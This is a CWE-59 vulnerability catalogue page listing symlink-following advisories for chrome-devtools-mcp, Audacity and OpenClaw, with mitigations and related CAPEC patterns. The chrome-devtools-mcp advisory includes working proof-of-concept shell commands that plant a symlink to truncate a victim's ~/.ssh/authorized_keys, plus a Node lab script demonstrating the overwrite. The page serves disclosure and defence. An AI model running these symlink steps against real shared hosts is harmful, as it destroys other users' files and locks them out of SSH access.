Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

1992 vulnerabilities reference this CWE, most recent first.

Summary

Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory

Details

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
The attacker has any local user account on the same host.
The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode.
chrome-devtools start

# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
Availability: critical user configuration files can be corrupted until restored from backup.
Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

~/.ssh/authorized_keys, causing the victim to lose SSH access.
~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
Project .env, secrets.json, license files, or line-oriented config files.
Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Vulnerability from github – Published: 2022-05-01 18:39 – Updated: 2022-05-01 18:39

Details

Audacity 1.3.2 creates a temporary directory with a predictable name without checking for previous existence of that directory, which allows local users to cause a denial of service (recording deadlock) by creating the directory before Audacity is run. NOTE: this issue can be leveraged to delete arbitrary files or directories via a symlink attack.

Summary

OpenClaw: Unified root-bound write hardening for browser output and related path-boundary flows

Details

Summary

A path-confinement bypass in browser output handling allowed writes outside intended roots in openclaw versions up to and including 2026.3.1.

The fix unifies root-bound, file-descriptor-verified write semantics and canonical path-boundary validation across browser output and related install/skills write paths.

Affected Packages / Versions

Package: openclaw (npm)
Latest published npm version at triage time: 2026.3.1
Affected range: <= 2026.3.1
Patched release: 2026.3.2 (released)

Fix Commit(s)

104d32bb64cdf19d5e77f70553a511a2ae90ad1c

Technical Notes

Browser output writes now use root-bound, fd/inode-verified commit flow.
Install + skills path checks now share canonical in-base validation to reduce drift and close equivalent escape surfaces.
Added regression coverage for symlink-rebind and root-bound source-path write behavior.

Severity

5.3 (Medium)

Mitigation MIT-48.1

Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
